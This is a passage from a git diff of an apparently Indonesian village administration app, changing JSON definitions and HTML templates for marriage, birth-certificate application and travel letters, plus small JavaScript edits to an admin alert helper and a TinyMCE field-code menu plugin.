"min=\"1\"\r\nmax=\"10\"", + "pilihan": null, + "refrensi": null, + "kolom": "5", + "label": "Jika beristri, istri ke-", + "kaitkan_kode": "" + }, + { + "kategori": "dapp", + "tipe": "text", + "kode": "[form_bin_ayah_pria]", + "nama": "Bin Ayah Pria", + "deskripsi": "Bin Ayah Pria", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Bin Ayah Pria", + "kaitkan_kode": "" + }, + { + "kategori": "dipp", + "tipe": "text", + "kode": "[form_binti_ibu_pria]", + "nama": "Binti Ibu Pria", + "deskripsi": "Binti Ibu Pria", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Binti Ibu Pria", + "kaitkan_kode": "" + }, + { + "kategori": "dcpw", + "tipe": "text", + "kode": "[form_binti_wanita]", + "nama": "Binti Wanita", + "deskripsi": "Binti Pasangan Wanita", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Binti Pasangan Wanita", + "kaitkan_kode": "" + }, + { + "kategori": "dcpw", + "tipe": "select-manual", + "kode": "[form_status_kawin_wanita]", + "nama": "Status Kawin Wanita", + "deskripsi": "Pilih Status Kawin", + "required": "0", + "atribut": null, + "pilihan": [ + "Perawan", + "Janda", + "Bersuami" + ], + "refrensi": null, + "kolom": "6", + "label": "Status Kawin Wanita", + "kaitkan_kode": "" + }, + { + "kategori": "dapw", + "tipe": "text", + "kode": "[form_bin_ayah_wanita]", + "nama": "Bin Ayah Wanita", + "deskripsi": "Bin Ayah Wanita", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Bin Ayah Wanita", + "kaitkan_kode": "" + }, + { + "kategori": "dibpw", + "tipe": "text", + "kode": "[form_binti_ibu_wanita]", + "nama": "Binti Ibu Wanita", + "deskripsi": "Binti Ibu Wanita", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "Binti Ibu Wanita", + "kaitkan_kode": "" + }, + { + "kategori": "dst", + "tipe": "date", + "kode": "[form_tanggal_meninggal_suami_terdahulu]", + "nama": "Tanggal Meninggal Suami Terdahulu", + "deskripsi": "Tanggal Meninggal", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Meninggal Dunia Pada Tanggal \/ Tempat", + "kaitkan_kode": "" + }, + { + "kategori": "dst", + "tipe": "text", + "kode": "[form_tempat_meninggal_suami_terdahulu]", + "nama": "Tempat Meninggal Suami Terdahulu", + "deskripsi": "Tempat Meninggal", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "kategori": "dst", + "tipe": "text", + "kode": "[form_bin_suami_terdahulu]", + "nama": "Bin Suami Terdahulu", + "deskripsi": "Bin Suami Terdahulu", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Bin Suami Terdahulu", + "kaitkan_kode": "" + }, + { + "kategori": "dwn", + "tipe": "text", + "kode": "[form_bin_wali_nikah]", + "nama": "Bin Wali Nikah", + "deskripsi": "Bin Wali Nikah", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Bin Wali Nikah", + "kaitkan_kode": "" + }, + { + "kategori": "dwn", + "tipe": "text", + "kode": "[form_hubungan_dengan_wali]", + "nama": "Hubungan Dengan Wali", + "deskripsi": "Hubungan Dengan Wali", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "Hubungan Dengan Wali", + "kaitkan_kode": "" + }, + { + "kategori": "dpn", + "tipe": "text", + "kode": "[form_hari_nikah]", + "nama": "Hari nikah", + "deskripsi": "hari nikah", + "required": "0", + "atribut": "class=\" hari\"\r\nreadonly", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Hari, Tanggal, Jam", + "kaitkan_kode": "" + }, + { + "kategori": "dpn", + "tipe": "date", + "kode": "[form_tanggal_nikah]", + "nama": "Tanggal Nikah", + "deskripsi": "Tanggal Nikah", + "required": "0", + "atribut": "class=\" datepicker data_hari\"", + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Hari, Tanggal, Jam", + "kaitkan_kode": "" }, - "dibpw": { - "sumber": "1", - "data": [ - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Ibu Pasangan Wanita", - "label": "B.3 DATA IBU PASANGAN WANITA", - "hubungan": "" + { + "kategori": "dpn", + "tipe": "time", + "kode": "[form_jam_nikah]", + "nama": "Jam Nikah", + "deskripsi": "Jam Nikah", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "3", + "label": "Hari, Tanggal, Jam", + "kaitkan_kode": "" }, - "dst": { - "sumber": "1", - "data": [ - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Suami Terdahulu", - "label": "B.4 DATA SUAMI TERDAHULU ", - "hubungan": "" + { + "kategori": "dpn", + "tipe": "text", + "kode": "[form_tempat_nikah]", + "nama": "Tempat Nikah", + "deskripsi": "Tempat Nikah", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Tempat Nikah", + "kaitkan_kode": "" }, - "dwn": { - "sumber": "1", + { + "kategori": "dpn", + "tipe": "text", + "kode": "[form_maskawin_nikah]", + "nama": "Maskawin Nikah", + "deskripsi": "Maskawin Nikah", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Maskawin Nikah", + "kaitkan_kode": "" + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Permohonan Akta Lahir", + "url_surat": "surat-permohonan-akta-lahir", + "kode_surat": "S-18", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": false, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": null, + "template": "\r\n\r\n\r\n\r\n
        Nomor<\/td>\r\n:<\/td>\r\n[Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n
        Perihal<\/td>\r\n:<\/td>\r\n\r\n

        [JUdul_surat]<\/span><\/h4>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


        Kepada Yth

        Kepala Pengadilan Agama
        [SeButan_kabupaten] [NaMa_kabupaten]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Mengajukan permohonan untuk diterbitkan penetapan Pengadilan Negeri sebagai persyaratan pencatatan peristiwa kelahiran dan penerbitan kutipan Akta Kelahiran atas nama:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Form_nama_anaK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Form_tempat_lahiR], [Form_tanggal_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nHari Lahir<\/td>\r\n:<\/td>\r\n[Form_hari_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Form_alamat_anaK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[Form_nama_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[Form_nama_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nAlamat Orang Tua<\/td>\r\n:<\/td>\r\n[Form_alamat_orang_tuA]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template_desa": "\r\n\r\n\r\n\r\n
        Nomor<\/td>\r\n:<\/td>\r\n[Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n
        Perihal<\/td>\r\n:<\/td>\r\n\r\n

        [JUdul_surat]<\/span><\/h4>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


        Kepada Yth

        Kepala Pengadilan Agama
        [SeButan_kabupaten] [NaMa_kabupaten]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Mengajukan permohonan untuk diterbitkan penetapan Pengadilan Negeri sebagai persyaratan pencatatan peristiwa kelahiran dan penerbitan kutipan Akta Kelahiran atas nama:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Form_nama_anaK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Form_tempat_lahiR], [Form_tanggal_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nHari Lahir<\/td>\r\n:<\/td>\r\n[Form_hari_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[Form_alamat_anaK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[Form_nama_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[Form_nama_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nAlamat Orang Tua<\/td>\r\n:<\/td>\r\n[Form_alamat_orang_tuA]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "form_isian": { + "individu": { + "sumber": 1, "data": [ - "3" + "1" ], "sex": "", "status_dasar": [ @@ -7045,23 +6953,26 @@ "9" ], "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], - "judul": "Wali Nikah", - "label": "B.5 DATA WALI NIKAH ", - "hubungan": "" + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Pemohon", + "label": "Identitas Pemohon", + "info": "", + "hubungan": null }, - "dpn": { + "anak": { "sumber": "0", "data": [ "1" @@ -7079,293 +6990,213 @@ "9" ], "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 ], - "judul": "Pernikahan", - "label": "C. DATA PERNIKAHAN ", + "judul": "Anak", + "label": "Identitas Anak", + "info": "", "hubungan": "" } - }, - "kode_isian": [ - { - "tipe": "text", - "kode": "[form_bin_pria]", - "nama": "Bin Pria", - "deskripsi": "Bin Pasangan Pria", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Bin Pasangan Pria", - "kaitkan_kode": "" - }, - { - "tipe": "select-manual", - "kode": "[form_status_kawin_pria]", - "nama": "Status Kawin Pria", - "deskripsi": "Pilih Status Kawin", - "required": "1", - "atribut": null, - "pilihan": [ - "Jejaka", - "Duda", - "Beristri" - ], - "refrensi": null, - "kolom": "5", - "label": "Status Kawin Pria", - "kaitkan_kode": "[{\"nilai_isian\":[\"Beristri\"],\"kode_isian_terkait\":[\"IstriKe\"]}]" - }, - { - "tipe": "number", - "kode": "[form_istrike]", - "nama": "IstriKe", - "deskripsi": "Istri Keberapa", - "required": "0", - "atribut": "min=\"1\"\r\nmax=\"10\"", - "pilihan": null, - "refrensi": null, - "kolom": "5", - "label": "Jika beristri, istri ke-", - "kaitkan_kode": "" - }, - { - "kategori": "dapp", - "tipe": "text", - "kode": "[form_bin_ayah_pria]", - "nama": "Bin Ayah Pria", - "deskripsi": "Bin Ayah Pria", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Bin Ayah Pria", - "kaitkan_kode": "" - }, - { - "kategori": "dipp", - "tipe": "text", - "kode": "[form_binti_ibu_pria]", - "nama": "Binti Ibu Pria", - "deskripsi": "Binti Ibu Pria", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Binti Ibu Pria", - "kaitkan_kode": "" - }, + }, + "kode_isian": [ { - "kategori": "dcpw", + "kategori": "anak", "tipe": "text", - "kode": "[form_binti_wanita]", - "nama": "Binti Wanita", - "deskripsi": "Binti Pasangan Wanita", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Binti Pasangan Wanita", - "kaitkan_kode": "" - }, - { - "kategori": "dcpw", - "tipe": "select-manual", - "kode": "[form_status_kawin_wanita]", - "nama": "Status Kawin Wanita", - "deskripsi": "Pilih Status Kawin", + "kode": "[form_nama_anak]", + "nama": "Nama Anak", + "deskripsi": "Nama Anak", "required": "0", "atribut": null, - "pilihan": [ - "Perawan", - "Janda", - "Bersuami" - ], + "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Status Kawin Wanita", + "kolom": "", + "label": "Nama Anak", "kaitkan_kode": "" }, { - "kategori": "dapw", + "kategori": "anak", "tipe": "text", - "kode": "[form_bin_ayah_wanita]", - "nama": "Bin Ayah Wanita", - "deskripsi": "Bin Ayah Wanita", + "kode": "[form_tempat_lahir]", + "nama": "Tempat Lahir", + "deskripsi": "Tempat Lahir", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "6", - "label": "Bin Ayah Wanita", + "label": "Tempat \/ Tanggal Lahir", "kaitkan_kode": "" }, { - "kategori": "dibpw", + "kategori": "anak", "tipe": "text", - "kode": "[form_binti_ibu_wanita]", - "nama": "Binti Ibu Wanita", - "deskripsi": "Binti Ibu Wanita", + "kode": "[form_hari_lahir]", + "nama": "Hari Lahir", + "deskripsi": "Hari Lahir", "required": "0", - "atribut": null, + "atribut": "class=\" hari\"\r\nreadonly", "pilihan": null, "refrensi": null, - "kolom": "", - "label": "Binti Ibu Wanita", + "kolom": "2", + "label": "Tempat \/ Tanggal Lahir", "kaitkan_kode": "" }, { - "kategori": "dst", + "kategori": "anak", "tipe": "date", - "kode": "[form_tanggal_meninggal_suami_terdahulu]", - "nama": "Tanggal Meninggal Suami Terdahulu", - "deskripsi": "Tanggal Meninggal", + "kode": "[form_tanggal_lahir]", + "nama": "Tanggal Lahir", + "deskripsi": "Tanggal Lahir", "required": "0", - "atribut": null, + "atribut": "class=\" datepicker data_hari\"", "pilihan": null, "refrensi": null, "kolom": "4", - "label": "Meninggal Dunia Pada Tanggal \/ Tempat", - "kaitkan_kode": "" - }, - { - "kategori": "dst", - "tipe": "text", - "kode": "[form_tempat_meninggal_suami_terdahulu]", - "nama": "Tempat Meninggal Suami Terdahulu", - "deskripsi": "Tempat Meninggal", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "", - "kaitkan_kode": "" - }, - { - "kategori": "dst", - "tipe": "text", - "kode": "[form_bin_suami_terdahulu]", - "nama": "Bin Suami Terdahulu", - "deskripsi": "Bin Suami Terdahulu", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Bin Suami Terdahulu", + "label": "Tempat \/ Tanggal Lahir", "kaitkan_kode": "" }, { - "kategori": "dwn", - "tipe": "text", - "kode": "[form_bin_wali_nikah]", - "nama": "Bin Wali Nikah", - "deskripsi": "Bin Wali Nikah", + "kategori": "anak", + "tipe": "textarea", + "kode": "[form_alamat_anak]", + "nama": "Alamat Anak", + "deskripsi": "Masukkan Alamat Anak", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Bin Wali Nikah", + "kolom": "", + "label": "Alamat Anak", "kaitkan_kode": "" }, { - "kategori": "dwn", + "kategori": "anak", "tipe": "text", - "kode": "[form_hubungan_dengan_wali]", - "nama": "Hubungan Dengan Wali", - "deskripsi": "Hubungan Dengan Wali", + "kode": "[form_nama_ayah]", + "nama": "Nama Ayah", + "deskripsi": "Nama Ayah", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Hubungan Dengan Wali", + "kolom": "", + "label": "Nama Ayah", "kaitkan_kode": "" }, { - "kategori": "dpn", + "kategori": "anak", "tipe": "text", - "kode": "[form_hari_nikah]", - "nama": "Hari nikah", - "deskripsi": "hari nikah", - "required": "0", - "atribut": "class=\" hari\"\r\nreadonly", - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Hari, Tanggal, Jam", - "kaitkan_kode": "" - }, - { - "kategori": "dpn", - "tipe": "date", - "kode": "[form_tanggal_nikah]", - "nama": "Tanggal Nikah", - "deskripsi": "Tanggal Nikah", - "required": "0", - "atribut": "class=\" datepicker data_hari\"", - "pilihan": null, - "refrensi": null, - "kolom": "3", - "label": "Hari, Tanggal, Jam", - "kaitkan_kode": "" - }, - { - "kategori": "dpn", - "tipe": "time", - "kode": "[form_jam_nikah]", - "nama": "Jam Nikah", - "deskripsi": "Jam Nikah", + "kode": "[form_nama_ibu]", + "nama": "Nama Ibu", + "deskripsi": "Nama Ibu", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Hari, Tanggal, Jam", + "kolom": "", + "label": "Nama Ibu", "kaitkan_kode": "" }, { - "kategori": "dpn", - "tipe": "text", - "kode": "[form_tempat_nikah]", - "nama": "Tempat Nikah", - "deskripsi": "Tempat Nikah", + "kategori": "anak", + "tipe": "textarea", + "kode": "[form_alamat_orang_tua]", + "nama": "Alamat Orang Tua", + "deskripsi": "Alamat Orang Tua", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "12", - "label": "Tempat Nikah", + "kolom": "", + "label": "Alamat Orang Tua", "kaitkan_kode": "" - }, + } + ], + "orientasi": "Potrait", + "ukuran": "F4", + "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", + "margin_global": "0", + "footer": "1", + "header": 1, + "format_nomor": null, + "sumber_penduduk_berulang": "0" + }, + { + "nama": "Keterangan Bepergian", + "url_surat": "surat-keterangan-bepergian", + "kode_surat": "S-10", + "lampiran": null, + "kunci": false, + "favorit": false, + "jenis": "3", + "mandiri": true, + "masa_berlaku": 1, + "satuan_masa_berlaku": "M", + "qr_code": false, + "logo_garuda": false, + "kecamatan": "0", + "syarat_surat": "[\"2\",\"3\",\"1\"]", + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n - + @@ -39,7 +39,7 @@ - +
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KK<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nKepala Keluarga<\/td>\r\n:<\/td>\r\n[Kepala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nBerlaku mulai<\/td>\r\n:<\/td>\r\n[Mulai_berlakU] s\/d [Berlaku_sampaI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n - +
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "template_desa": true, + "form_isian": { + "individu": { + "sumber": 1, + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ + "1", + "2", + "3", + "4", + "6", + "9" + ], + "kk_level": [ + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "11" + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "info": "", + "sebagai": 1, + "hubungan": null + } + }, + "kode_isian": [ { - "kategori": "dpn", - "tipe": "text", - "kode": "[form_maskawin_nikah]", - "nama": "Maskawin Nikah", - "deskripsi": "Maskawin Nikah", + "tipe": "textarea", + "kode": "[form_keperluan]", + "nama": "Keperluan", + "deskripsi": "Masukkan Keperluan", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "12", - "label": "Maskawin Nikah", + "kolom": "", + "label": "", "kaitkan_kode": "" } ], diff --git a/assets/js/admin.js b/assets/js/admin.js index 62663f80d..7985a7abd 100644 --- a/assets/js/admin.js +++ b/assets/js/admin.js @@ -15,6 +15,11 @@ if ( $("#sidebar_collapse").addClass("sidebar-collapse"); } +// notifikasi swetalert +function _error(pesan) { + Swal.fire("Gagal!", pesan, "error"); +} + $(".sidebar-toggle").on("click", function () { localStorage.setItem( "sidebar", diff --git a/assets/js/tinymce-651/plugins/kodeisian/plugin.min.js b/assets/js/tinymce-651/plugins/kodeisian/plugin.min.js index fa9214124..0732ea387 100644 --- a/assets/js/tinymce-651/plugins/kodeisian/plugin.min.js +++ b/assets/js/tinymce-651/plugins/kodeisian/plugin.min.js @@ -36,51 +36,63 @@ function kode_isian(editor, isian) { var kode_isian = []; $.each(isian, function (key, value) { - var combine = { - type: "nestedmenuitem", - text: value.judul, - getSubmenuItems: function () { - let isian = value.isian; - return [ - { - type: "menuitem", - text: "Normal", - onAction: function () { - editor.insertContent(isian.normal); + // Case sentence untuk form isian nik, number dan jam. + if (value?.case_sentence) { + var combine = { + type: "menuitem", + text: value.judul, + onAction: function () { + editor.insertContent(value.isian.normal); + }, + }; + } else { + var combine = { + type: "nestedmenuitem", + text: value.judul, + getSubmenuItems: function () { + let isian = 